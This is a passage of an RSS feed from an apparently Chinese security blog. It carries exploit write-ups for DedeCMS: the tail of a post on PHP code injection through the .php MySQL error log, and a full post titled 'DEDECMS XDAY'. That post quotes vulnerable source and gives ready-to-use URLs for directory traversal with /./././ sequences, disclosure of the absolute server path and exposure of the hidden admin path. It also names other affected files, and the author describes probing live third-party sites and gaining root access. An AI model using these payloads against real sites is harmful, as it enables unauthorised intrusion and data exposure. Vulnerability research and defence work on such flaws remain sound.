</pre></td><td class="code"><pre class="php" style="font-family:monospace;">	<span style="color: #000000; font-weight: bold;">function</span> Execute<span style="color: #009900;">&#40;</span><span style="color: #000088;">$id</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;me&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$sql</span><span style="color: #339933;">=</span><span style="color: #0000ff;">''</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
	<span style="color: #339933;">......</span>
		<span style="color: #666666; font-style: italic;">//SQL语句安全检查</span>
		<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">safeCheck</span><span style="color: #009900;">&#41;</span>
		<span style="color: #009900;">&#123;</span>
			CheckSql<span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">queryString</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//检测了SQL语句的问题，可是没有过滤php代码。。</span>
		<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #339933;">......</span>	
&nbsp;
		<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">result</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$id</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">===</span><span style="color: #009900; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span>
		<span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">DisplayError</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">mysql_error</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; &lt;br /&gt;Error sql: &lt;font color='red'&gt;&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">queryString</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&lt;/font&gt;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            <span style="color: #666666; font-style: italic;">//这里当碰到错误时会调用DisplayError函数，把queryString写进错误日志了，错误日志后缀是PHP哦。。</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">function</span> DisplayError<span style="color: #009900;">&#40;</span><span style="color: #000088;">$msg</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$errorTrackFile</span> <span style="color: #339933;">=</span> <span style="color: #990000;">dirname</span><span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">__FILE__</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'/../data/mysql_error_trace.php'</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$emsg</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$emsg</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;&lt;div&gt;&lt;h3&gt;DedeCMS Error Warning!&lt;/h3&gt;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$emsg</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;&lt;div&gt;&lt;a href='http://bbs.dedecms.com' target='_blank' style='color:red'&gt;Technical Support: http://bbs.dedecms.com&lt;/a&gt;&lt;/div&gt;&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$emsg</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;&lt;div style='line-helght:160%;font-size:14px;color:green'&gt;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$emsg</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;&lt;div style='color:blue'&gt;&lt;br /&gt;Error page: &lt;font color='red'&gt;&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">GetCurUrl</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&lt;/font&gt;&lt;/div&gt;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$emsg</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;&lt;div&gt;Error infos: <span style="color: #006699; font-weight: bold;">{$msg}</span>&lt;/div&gt;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$emsg</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$emsg</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #000088;">$savemsg</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'Page: '</span><span style="color: #339933;">.</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">GetCurUrl</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>Error: &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$msg</span><span style="color: #339933;">;</span>
		<span style="color: #666666; font-style: italic;">//保存MySql错误日志</span>
		<span style="color: #000088;">$fp</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">fopen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$errorTrackFile</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'a'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #339933;">@</span><span style="color: #990000;">fwrite</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'&lt;'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'?php'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>/*<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #006699; font-weight: bold;">{$savemsg}</span><span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>*/<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>?&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&gt;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #339933;">@</span><span style="color: #990000;">fclose</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>其实呢，把data目录的写权限去掉，也能防止写文件哦。。，因为安装完新的DEDECMS，是没有data/mysql_error_trace.php文件的。。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.st0p.org/blog/archives/dedecms-digg_frame-php-injection-vulnerability.html/feed</wfw:commentRss>
		<slash:comments>87</slash:comments>
		</item>
		<item>
		<title>DEDECMS XDAY</title>
		<link>http://www.st0p.org/blog/archives/dedecms-xday.html</link>
		<comments>http://www.st0p.org/blog/archives/dedecms-xday.html#comments</comments>
		<pubDate>Sat, 08 Aug 2009 07:50:08 +0000</pubDate>
		<dc:creator>st0p</dc:creator>
				<category><![CDATA[学·武功秘籍]]></category>
		<category><![CDATA[0day]]></category>
		<category><![CDATA[CMS]]></category>
		<category><![CDATA[DEDECMS]]></category>
		<category><![CDATA[XDAY]]></category>
		<category><![CDATA[列目录]]></category>
		<category><![CDATA[织梦]]></category>

		<guid isPermaLink="false">http://www.st0p.org/blog/?p=83</guid>
		<description><![CDATA[作者：st0p 在此记录一下，嘿嘿，这个洞可是杰少偶们两发现的哦。。。相当YD吧，而且还帮我找到了两个ROOT权限。。 此漏洞为st0p和杰少发现，版权没有，欢迎转载！ 为啥叫XDAY不叫0DAY呢，因为这个洞比较乱，涵盖的版本比较多，但却用处不大，相当鸡肋，不过利用好了还是有点效果的。。 正无聊时发现YD的杰少发来消息，说他发现了DEDECMS一个很鸡肋的东西，include/dialog/select_soft.php文件可以爆出DEDECMS的后台，以前的老板本可以跳过登陆验证直接访问，无需管理员帐号，新版本的就直接转向了后台。 看到消息后我脑子里就有了个YD的想法，会不会官方也存在，然后马上打开http://www.dedecms.com/include/dialog/select_soft.php，可惜的是官方会提示你输入后理目录，不会转向。如图1 失望啊，不过在和杰少的聊天中得知安全中国存在这个问题，于是打开http://www.anqn.com/include/dialog/select_soft.php，果然转向了，如图2 看到没，后台地址是article_6565998um9)-_这个，标题栏是delphi V53_1_GBK，DELPHI成文章系统了。。下面去还有织梦的图片。。。。 既然存在，赶快去官方下载了最新的DedeCMS V5.5正式版，DedeCMS V5.3.1和DedeCmsV5.1FreeSP1这三个版本，然后本地架设起来，分别对select_soft.php文件分析了一下，让我发现了更有趣的东西。 首先咱们看DedeCmsV5.1FreeSP1这个版本吧，关键代码如下 include/dialog/select_soft.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 &#60;?php require_once&#40;dirname&#40;__FILE__&#41;.&#34;/config.php&#34;&#41;;//这里面检测了是否已登入 &#160; if&#40;empty&#40;$activepath&#41;&#41; $activepath = &#34;&#34;; &#160; $activepath = str_replace&#40;&#34;..&#34;,&#34;&#34;,$activepath&#41;; //过滤了..但没过滤. $activepath = ereg_replace&#40;&#34;^/{1,}&#34;,&#34;/&#34;,$activepath&#41;; if&#40;strlen&#40;$activepath&#41;&#60;strlen&#40;$cfg_soft_dir&#41;&#41;&#123; $activepath = $cfg_soft_dir; &#125; //如果得到的路径值长度小于设置中的$cfg_soft_dir值的长度那么把$activepath等于$cfg_soft_dir，系统默认为/uploads/soft [...]]]></description>
			<content:encoded><![CDATA[<p>作者：st0p<br />
在此记录一下，嘿嘿，这个洞可是杰少偶们两发现的哦。。。相当YD吧，而且还帮我找到了两个ROOT权限。。<br />
此漏洞为st0p和杰少发现，版权没有，欢迎转载！<br />
为啥叫XDAY不叫0DAY呢，因为这个洞比较乱，涵盖的版本比较多，但却用处不大，相当鸡肋，不过利用好了还是有点效果的。。</p>
<p>正无聊时发现YD的杰少发来消息，说他发现了DEDECMS一个很鸡肋的东西，include/dialog/select_soft.php文件可以爆出DEDECMS的后台，以前的老板本可以跳过登陆验证直接访问，无需管理员帐号，新版本的就直接转向了后台。<br />
看到消息后我脑子里就有了个YD的想法，会不会官方也存在，然后马上打开http://www.dedecms.com/include/dialog/select_soft.php，可惜的是官方会提示你输入后理目录，不会转向。如图1<br />
<a  class="thickbox no_icon" href="http://www.st0p.org/blog/wp-content/uploads/2009/08/dedecms-xday1.jpg" rel="gallery-83" title="dedecms-xday1"><img src="http://www.st0p.org/blog/wp-content/uploads/2009/08/dedecms-xday1.jpg" alt="dedecms-xday1" title="dedecms-xday1" width="500" height="213" class="alignnone size-full wp-image-85" /></a><br />
失望啊，不过在和杰少的聊天中得知安全中国存在这个问题，于是打开http://www.anqn.com/include/dialog/select_soft.php，果然转向了，如图2<br />
<a  class="thickbox no_icon" href="http://www.st0p.org/blog/wp-content/uploads/2009/08/dedecms-xday2.jpg" rel="gallery-83" title="dedecms-xday2"><img src="http://www.st0p.org/blog/wp-content/uploads/2009/08/dedecms-xday2.jpg" alt="dedecms-xday2" title="dedecms-xday2" width="600" height="277" class="alignnone size-full wp-image-86" /></a><br />
看到没，后台地址是article_6565998um9)-_这个，标题栏是delphi V53_1_GBK，DELPHI成文章系统了。。下面去还有织梦的图片。。。。<br />
既然存在，赶快去官方下载了最新的DedeCMS V5.5正式版，DedeCMS V5.3.1和DedeCmsV5.1FreeSP1这三个版本，然后本地架设起来，分别对select_soft.php文件分析了一下，让我发现了更有趣的东西。<br />
首先咱们看DedeCmsV5.1FreeSP1这个版本吧，关键代码如下<br />
include/dialog/select_soft.php</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span> 
<span style="color: #b1b100;">require_once</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">dirname</span><span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">__FILE__</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;/config.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #666666; font-style: italic;">//这里面检测了是否已登入</span>
&nbsp;
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$activepath</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$activepath</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$activepath</span> <span style="color: #339933;">=</span> <span style="color: #990000;">str_replace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;..&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$activepath</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//过滤了..但没过滤.</span>
<span style="color: #000088;">$activepath</span> <span style="color: #339933;">=</span> <span style="color: #990000;">ereg_replace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;^/{1,}&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;/&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$activepath</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">strlen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$activepath</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&lt;</span>strlen<span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfg_soft_dir</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span> 
	<span style="color: #000088;">$activepath</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$cfg_soft_dir</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #666666; font-style: italic;">//如果得到的路径值长度小于设置中的$cfg_soft_dir值的长度那么把$activepath等于$cfg_soft_dir，系统默认为/uploads/soft</span>
<span style="color: #666666; font-style: italic;">//注意看这里，如果这个值大于$cfg_soft_dir值的长度的时候就会跳过去了，$cfg_soft_dir存在于include/config_base.php</span>
&nbsp;
<span style="color: #000088;">$inpath</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$cfg_basedir</span><span style="color: #339933;">.</span><span style="color: #000088;">$activepath</span><span style="color: #339933;">;</span> 
<span style="color: #000088;">$activeurl</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;..&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$activepath</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$f</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;form1.enclosure&quot;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$comeback</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$comeback</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p><span id="more-83"></span></p>
<p>include/dialog/config.php</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">//检验用户登录状态</span>
<span style="color: #000088;">$cuserLogin</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> userLogin<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cuserLogin</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getUserID</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==-</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cuserLogin</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">adminDir</span><span style="color: #339933;">==</span><span style="color: #0000ff;">''</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		<span style="color: #990000;">exit</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Request Error!'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #000088;">$gurl</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;../../<span style="color: #006699; font-weight: bold;">{$cuserLogin-&gt;adminDir}</span>/login.php?gotopage=&quot;</span><span style="color: #339933;">.</span><span style="color: #990000;">urlencode</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dedeNowurl</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;script language='javascript'&gt;location='<span style="color: #006699; font-weight: bold;">$gurl</span>';&lt;/script&gt;&quot;</span><span style="color: #339933;">;</span><span style="color: #666666; font-style: italic;">//嘎嘎，看这里，检测如果没登陆就会转向我们可爱的后台登陆地址了 </span>
	<span style="color: #990000;">exit</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>虽然DEDECMS提供了修改后台目录的功能，但因为include/dialog/config.php的问题，还是会爆出后台管理路径。<br />
接着看另外那个有趣的地方，通过查看include/dialog/select_soft.php源码，我们看到/没过滤，那我们直接构造activepath＝/aaa看看，由于下面检测长度的存在，会被替换成/uploads/soft，跳出失败，有些朋友可能会想到直接去构成比$cfg_soft_dir长度长的值就行了，比如/include/FCKeditor，就是可以访问的。<br />
我们访问http://target.com/include/dialog/select_soft.php?activepath=/include/FCKeditor<br />
如图3<br />
<a  class="thickbox no_icon" href="http://www.st0p.org/blog/wp-content/uploads/2009/08/dedecms-xday3.jpg" rel="gallery-83" title="dedecms-xday3"><img src="http://www.st0p.org/blog/wp-content/uploads/2009/08/dedecms-xday3.jpg" alt="dedecms-xday3" title="dedecms-xday3" width="600" height="219" class="alignnone size-full wp-image-88" /></a><br />
看到没，跳转成功了，不过这对我们来说，用处不大。。那能不能跳到根目录呢。。经过st0p的尝试发现这个版本是可以跳转成功的。<br />
过滤了..但没过滤.，但下面检测了$activepath长度。小于这个长度，你杂跳都会一直在在/uploads/soft目录下面，那么我们就加N个./试试，<br />
结果在加到/././././././././时成功跳过<br />
我们访问http://target.com/include/dialog/select_soft.php?activepath=/././././././././<br />
如图4<br />
<a  class="thickbox no_icon" href="http://www.st0p.org/blog/wp-content/uploads/2009/08/dedecms-xday4.jpg" rel="gallery-83" title="dedecms-xday4"><img src="http://www.st0p.org/blog/wp-content/uploads/2009/08/dedecms-xday4.jpg" alt="dedecms-xday4" title="dedecms-xday4" width="600" height="384" class="alignnone size-full wp-image-89" /></a><br />
看到没，直接列出了根目录下的所有文件，还有PHP文件，不过不能查看内容。。<br />
而且DEDECMS在访问不存在的目录时会报错，我们还可以构建一个长度大于$cfg_soft_dir的任意目录，让他爆出绝对路径。<br />
如访问http://target.com/include/dialog/select_soft.php?activepath=/st0pst0pst0pst0pst0pst0pst0pst0p<br />
结果如图5<br />
<a  class="thickbox no_icon" href="http://www.st0p.org/blog/wp-content/uploads/2009/08/dedecms-xday5.jpg" rel="gallery-83" title="dedecms-xday5"><img src="http://www.st0p.org/blog/wp-content/uploads/2009/08/dedecms-xday5.jpg" alt="dedecms-xday5" title="dedecms-xday5" width="600" height="158" class="alignnone size-full wp-image-90" /></a></p>
<p>然后看了一下DedeCMS V5.3.1和最新的DedeCMS V5.5正式版，发现这两个版本对.进行了处理，而且只会列出目录和一些允许显示的文件，PHP是不能显示了<br />
include/dialog/select_soft.php</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #b1b100;">require_once</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">dirname</span><span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">__FILE__</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;/config.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #666666; font-style: italic;">//这里面检测了是否已登入</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$activepath</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$activepath</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000088;">$activepath</span> <span style="color: #339933;">=</span> <span style="color: #990000;">str_replace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'.'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #000088;">$activepath</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #666666; font-style: italic;">//看到没，这里把过滤..变成了过滤.</span>
&nbsp;
<span style="color: #000088;">$activepath</span> <span style="color: #339933;">=</span> <span style="color: #990000;">ereg_replace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/{1,}&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'/'</span><span style="color: #339933;">,</span><span style="color: #000088;">$activepath</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">strlen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$activepath</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&lt;</span> <span style="color: #990000;">strlen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfg_soft_dir</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$activepath</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$cfg_soft_dir</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #666666; font-style: italic;">//不过这个通过长度来检测的地方没过滤，嘿嘿我们还是可以利用的</span>
<span style="color: #000088;">$inpath</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$cfg_basedir</span><span style="color: #339933;">.</span><span style="color: #000088;">$activepath</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$activeurl</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'..'</span><span style="color: #339933;">.</span><span style="color: #000088;">$activepath</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$f</span><span style="color: #339933;">=</span><span style="color: #0000ff;">'form1.enclosure'</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$comeback</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$comeback</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>如构造http://target.com/include/dialog/select_soft.php?activepath=/st0pst0pst0pst0pst0pst0pst0pst0p可以爆出绝对路径<br />
构造http://target.com/include/dialog/select_soft.php?activepath=/include/FCKeditor可以浏览此目录下的文件，当然你也可以跳到别的目录，但长度一定要大于设置中的目录。<br />
不过前提是你要登陆下才能利用，这个就显得有点鸡肋了。杰少说要是在爆一个注入漏洞就完美了。嘎。。。</p>
<p>另外一些低版本的DEDECMS访问这个页面的时候会直接跳过登陆验证，直接显示，而且还可以用/././././././././掉到根目录去。不过这些版本的访问地址有些不同。<br />
地址为http://target.com/require/dialog/select_soft.php?activepath=/././././././././</p>
<p>嘿嘿，最后发现include\dialog\目录下的另外几个文件都存在同一个问题，只是默认设的目录不同。有些可以查看HTML这些文件哦。。<br />
存在相同问题的文件还有<br />
include\dialog\select_images.php<br />
include\dialog\select_media.php<br />
include\dialog\select_templets.php</p>
]]></content:encoded>
			<wfw:commentRss>http://www.st0p.org/blog/archives/dedecms-xday.html/feed</wfw:commentRss>
		<slash:comments>235</slash:comments>
		</item>
	</channel>
</rss>

